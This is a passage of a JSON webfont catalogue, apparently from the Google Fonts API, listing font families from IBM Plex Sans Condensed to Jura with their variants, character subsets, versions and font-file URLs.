"2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY7KyKvBgYsMDhM.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8hN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8M_LhakJHhOgBg.ttf", "200": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5m6Yvrr4cFFwq5.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8GPqpYMnEhq5H1w.ttf", "300": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4C6ovrr4cFFwq5.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8AfppYMnEhq5H1w.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8lN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHbauwq_jhJsM.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYasyKvBgYsMDhM.ttf", "500": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5a64vrr4cFFwq5.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8F_opYMnEhq5H1w.ttf", "600": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY527Ivrr4cFFwq5.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8HPvpYMnEhq5H1w.ttf", "700": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4S7Yvrr4cFFwq5.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexsanscondensed/v6/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8BfupYMnEhq5H1w.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Serif", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTi182zIZj1bIkNo.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizHREVNn1dOx-zrZ2X3pZvkTiUa41YTi3TNgNq55w.ttf", "200": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3Q-hIzoVrBicOg.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4_oyq17jjNOg_oc.ttf", "300": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi20-RIzoVrBicOg.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa454xq17jjNOg_oc.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizDREVNn1dOx-zrZ2X3pZvkThUY0TY7ikbI.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizBREVNn1dOx-zrZ2X3pZvkTiUa2zIZj1bIkNo.ttf", "500": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3s-BIzoVrBicOg.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa48Ywq17jjNOg_oc.ttf", "600": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi3A_xIzoVrBicOg.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4-o3q17jjNOg_oc.ttf", "700": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizAREVNn1dOx-zrZ2X3pZvkTi2k_hIzoVrBicOg.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexserif/v8/jizGREVNn1dOx-zrZ2X3pZvkTiUa4442q17jjNOg_oc.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell DW Pica", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDGZGRQotv9nbn2qSl0TxXVYNw9ZAPUvi88MQ.ttf", "italic": "http://fonts.gstatic.com/s/imfelldwpica/v9/2sDEZGRQotv9nbn2qSl0TxXVYNwNZgnQnCosMXm0.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell DW Pica SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldwpicasc/v9/0ybjGCAu5PfqkvtGVU15aBhXz3EUrnTW-BiKEUiBGA.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Double Pica", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF2EqMq_94s9PeKF7Fg4gOKINyMtZ8rT0S1UL5Ayp0.ttf", "italic": "http://fonts.gstatic.com/s/imfelldoublepica/v9/3XF0EqMq_94s9PeKF7Fg4gOKINyMtZ8rf0a_VJxF2p2G8g.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Double Pica SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfelldoublepicasc/v9/neIazDmuiMkFo6zj_sHpQ8teNbWlwBB_hXjJ4Y0Eeru2dGg.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell English", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk1ALSLW8zDe0rthJysWrnLsAz3F6mZVY9Y5w.ttf", "italic": "http://fonts.gstatic.com/s/imfellenglish/v9/Ktk3ALSLW8zDe0rthJysWrnLsAzHFaOdd4pI59zg.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell English SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellenglishsc/v9/a8IENpD3CDX-4zrWfr1VY879qFF05pZLO4gOg0shzA.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell French Canon", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6ufiNtDWYfYc-tDiyiw08rrghJszkK6coVPt1ozoPz.ttf", "italic": "http://fonts.gstatic.com/s/imfellfrenchcanon/v9/-F6gfiNtDWYfYc-tDiyiw08rrghJszkK6foXNNlKy5PzzrU.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell French Canon SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellfrenchcanonsc/v9/FBVmdCru5-ifcor2bgq9V89khWcmQghEURY7H3c0UBCVIVqH.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Great Primer", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6aNwSJtayYxOkbYFsT6hMsLzX7u85rJorXvDo3SQY1.ttf", "italic": "http://fonts.gstatic.com/s/imfellgreatprimer/v9/bx6UNwSJtayYxOkbYFsT6hMsLzX7u85rJrrVtj4VTBY1N6U.ttf" } }, { "kind": "webfonts#webfont", "family": "IM Fell Great Primer SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imfellgreatprimersc/v9/ga6daxBOxyt6sCqz3fjZCTFCTUDMHagsQKdDTLf9BXz0s8FG.ttf" } }, { "kind": "webfonts#webfont", "family": "Ibarra Real Nova", "category": "serif", "variants": [ "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlfdQiA-DBIDCcaWtQzL4BZHoiDoHxSENxuLuE.ttf", "italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlZdQiA-DBIDCcaWtQzL4BZHoiDkH5YFP5rPuF6EA.ttf", "600": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmKR8NNRFMuhjCXY.ttf", "600italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gzNBPNspmGXawpg.ttf", "700": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZlYdQiA-DBIDCcaWtQzL4BZHoiDmMB9NNRFMuhjCXY.ttf", "700italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gqNFPNspmGXawpg.ttf" } }, { "kind": "webfonts#webfont", "family": "Iceberg", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/iceberg/v7/8QIJdijAiM7o-qnZuIgOq7jkAOw.ttf" } }, { "kind": "webfonts#webfont", "family": "Iceland", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/iceland/v8/rax9HiuFsdMNOnWPWKxGADBbg0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Imprima", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/imprima/v8/VEMxRoN7sY3yuy-7-oWHyDzktPo.ttf" } }, { "kind": "webfonts#webfont", "family": "Inconsolata", "category": "monospace", "variants": [ "regular", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v18", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/inconsolata/v18/QldKNThLqRwH-OJ1UHjlKFle7KlmxuHx.ttf", "700": "http://fonts.gstatic.com/s/inconsolata/v18/QldXNThLqRwH-OJ1UHjlKGHiw41u7f34DYwn.ttf" } }, { "kind": "webfonts#webfont", "family": "Inder", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/inder/v8/w8gUH2YoQe8_4vq6pw-P3U4O.ttf" } }, { "kind": "webfonts#webfont", "family": "Indie Flower", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/indieflower/v11/m8JVjfNVeKWVnh3QMuKkFcZlbkGG1dKEDw.ttf" } }, { "kind": "webfonts#webfont", "family": "Inika", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/inika/v8/rnCm-x5X3QP-phTHRcc2s2XH.ttf", "700": "http://fonts.gstatic.com/s/inika/v8/rnCr-x5X3QP-pix7auM-mHnOSOuk.ttf" } }, { "kind": "webfonts#webfont", "family": "Inknut Antiqua", "category": "serif", "variants": [ "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2vwrj5bBoIYJNf.ttf", "regular": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GSYax7VC4ot_qNB4nYpBdaKXUD6pzxRwYB.ttf", "500": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU33w7j5bBoIYJNf.ttf", "600": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU3bxLj5bBoIYJNf.ttf", "700": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2_xbj5bBoIYJNf.ttf", "800": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2jxrj5bBoIYJNf.ttf", "900": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2Hx7j5bBoIYJNf.ttf" } }, { "kind": "webfonts#webfont", "family": "Inria Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "300": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3ELaDQtFqeY3fX4.ttf", "300italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAgQlPrcQybX4pQA.ttf", "regular": "http://fonts.gstatic.com/s/inriasans/v1/ptRMTiqXYfZMCOiVj9kQ5O7yKQNute8.ttf", "italic": "http://fonts.gstatic.com/s/inriasans/v1/ptROTiqXYfZMCOiVj9kQ1Oz4LSFrpe8uZA.ttf", "700": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3FLdDQtFqeY3fX4.ttf", "700italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAkQ5PrcQybX4pQA.ttf" } }, { "kind": "webfonts#webfont", "family": "Inria Serif", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wAVQjFhFyta3xN.ttf", "300italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT4THjliPbmxN0_E.ttf", "regular": "http://fonts.gstatic.com/s/inriaserif/v1/fC1lPYxPY3rXxEndZJAzN0SsfSzNr0Ck.ttf", "italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC1nPYxPY3rXxEndZJAzN3SudyjvqlCkcmU.ttf", "700": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wQUgjFhFyta3xN.ttf", "700italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT5TAjliPbmxN0_E.ttf" } }, { "kind": "webfonts#webfont", "family": "Inter", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "100": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyeMZhrib2Bg-4.ttf", "200": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyfMZhrib2Bg-4.ttf", "300": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuOKfMZhrib2Bg-4.ttf", "regular": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfMZhrib2Bg-4.ttf", "500": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuI6fMZhrib2Bg-4.ttf", "600": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuGKYMZhrib2Bg-4.ttf", "700": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuFuYMZhrib2Bg-4.ttf", "800": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyYMZhrib2Bg-4.ttf", "900": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuBWYMZhrib2Bg-4.ttf" } }, { "kind": "webfonts#webfont", "family": "Irish Grover", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/irishgrover/v10/buExpoi6YtLz2QW7LA4flVgf-P5Oaiw4cw.ttf" } }, { "kind": "webfonts#webfont", "family": "Istok Web", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/istokweb/v14/3qTvojGmgSyUukBzKslZAWF-9kIIaQ.ttf", "italic": "http://fonts.gstatic.com/s/istokweb/v14/3qTpojGmgSyUukBzKslpA2t61EcYaQ7F.ttf", "700": "http://fonts.gstatic.com/s/istokweb/v14/3qTqojGmgSyUukBzKslhvU5a_mkUYBfcMw.ttf", "700italic": "http://fonts.gstatic.com/s/istokweb/v14/3qT0ojGmgSyUukBzKslpA1PG-2MQQhLMMygN.ttf" } }, { "kind": "webfonts#webfont", "family": "Italiana", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/italiana/v8/QldNNTtLsx4E__B0XTmRY31Wx7Vv.ttf" } }, { "kind": "webfonts#webfont", "family": "Italianno", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/italianno/v9/dg4n_p3sv6gCJkwzT6Rnj5YpQwM-gg.ttf" } }, { "kind": "webfonts#webfont", "family": "Itim", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/itim/v4/0nknC9ziJOYewARKkc7ZdwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Jacques Francois", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jacquesfrancois/v7/ZXu9e04ZvKeOOHIe1TMahbcIU2cgmcPqoeRWfbs.ttf" } }, { "kind": "webfonts#webfont", "family": "Jacques Francois Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jacquesfrancoisshadow/v8/KR1FBtOz8PKTMk-kqdkLVrvR0ECFrB6Pin-2_q8VsHuV5ULS.ttf" } }, { "kind": "webfonts#webfont", "family": "Jaldi", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jaldi/v6/or3sQ67z0_CI30NUZpD_B6g8.ttf", "700": "http://fonts.gstatic.com/s/jaldi/v6/or3hQ67z0_CI33voSbT3LLQ1niPn.ttf" } }, { "kind": "webfonts#webfont", "family": "Jim Nightshade", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jimnightshade/v7/PlIkFlu9Pb08Q8HLM1PxmB0g-OS4V3qKaMxD.ttf" } }, { "kind": "webfonts#webfont", "family": "Jockey One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jockeyone/v9/HTxpL2g2KjCFj4x8WI6ArIb7HYOk4xc.ttf" } }, { "kind": "webfonts#webfont", "family": "Jolly Lodger", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jollylodger/v7/BXRsvFTAh_bGkA1uQ48dlB3VWerT3ZyuqA.ttf" } }, { "kind": "webfonts#webfont", "family": "Jomhuria", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jomhuria/v7/Dxxp8j-TMXf-llKur2b1MOGbC3Dh.ttf" } }, { "kind": "webfonts#webfont", "family": "Jomolhari", "category": "serif", "variants": [ "regular" ], "subsets": [ "tibetan", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/jomolhari/v1/EvONzA1M1Iw_CBd2hsQCF1IZKq5INg.ttf" } }, { "kind": "webfonts#webfont", "family": "Josefin Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v15", "lastModified": "2020-03-06", "files": { "100": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjRXMFrLgTsQV0.ttf", "200": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_LjQXMFrLgTsQV0.ttf", "300": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_GbQXMFrLgTsQV0.ttf", "regular": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjQXMFrLgTsQV0.ttf", "500": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ArQXMFrLgTsQV0.ttf", "600": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ObXXMFrLgTsQV0.ttf", "700": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_N_XXMFrLgTsQV0.ttf", "100italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtINhKibpUV3MEQ.ttf", "200italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTNIJhKibpUV3MEQ.ttf", "300italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCT6oJhKibpUV3MEQ.ttf", "italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtIJhKibpUV3MEQ.ttf", "500italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCThoJhKibpUV3MEQ.ttf", "600italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTaoVhKibpUV3MEQ.ttf", "700italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTU4VhKibpUV3MEQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Josefin Slab", "category": "serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalvyQ6qBM7oPxMX.ttf", "100italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-lwjwOK3Ps5GSJlNNkMalnrzbODsrKOgMX95A.ttf", "300": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvASyKLuDkNgoO7g.ttf", "300italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYGLOrgFA8e7onu.ttf", "regular": "http://fonts.gstatic.com/s/josefinslab/v10/lW-5wjwOK3Ps5GSJlNNkMalXrQSuJsv4Pw.ttf", "italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalnrw6qBM7oPxMX.ttf", "600": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvdSqKLuDkNgoO7g.ttf", "600italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzZyKurgFA8e7onu.ttf", "700": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvESuKLuDkNgoO7g.ttf", "700italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYWK-rgFA8e7onu.ttf" } }, { "kind": "webfonts#webfont", "family": "Joti One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jotione/v8/Z9XVDmdJQAmWm9TwaYTe4u2El6GC.ttf" } }, { "kind": "webfonts#webfont", "family": "Jua", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/jua/v8/co3KmW9ljjAjc-DZCsKgsg.ttf" } }, { "kind": "webfonts#webfont", "family": "Judson", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/judson/v12/FeVRS0Fbvbc14VxRD7N01bV7kg.ttf", "italic": "http://fonts.gstatic.com/s/judson/v12/FeVTS0Fbvbc14VxhDblw97BrknZf.ttf", "700": "http://fonts.gstatic.com/s/judson/v12/FeVSS0Fbvbc14Vxps5xQ3Z5nm29Gww.ttf" } }, { "kind": "webfonts#webfont", "family": "Julee", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/julee/v9/TuGfUVB3RpZPQ6ZLodgzydtk.ttf" } }, { "kind": "webfonts#webfont", "family": "Julius Sans One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/juliussansone/v8/1Pt2g8TAX_SGgBGUi0tGOYEga5W-xXEW6aGXHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Junge", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/junge/v7/gokgH670Gl1lUqAdvhB7SnKm.ttf" } }, { "kind": "webfonts#webfont", "family": "Jura", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v14", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP0D7auhTfmrH_rt.ttf", "regular": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1d7auhTfmrH_rt.ttf", "500": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1v7auhTfmrH_rt.ttf", "600": 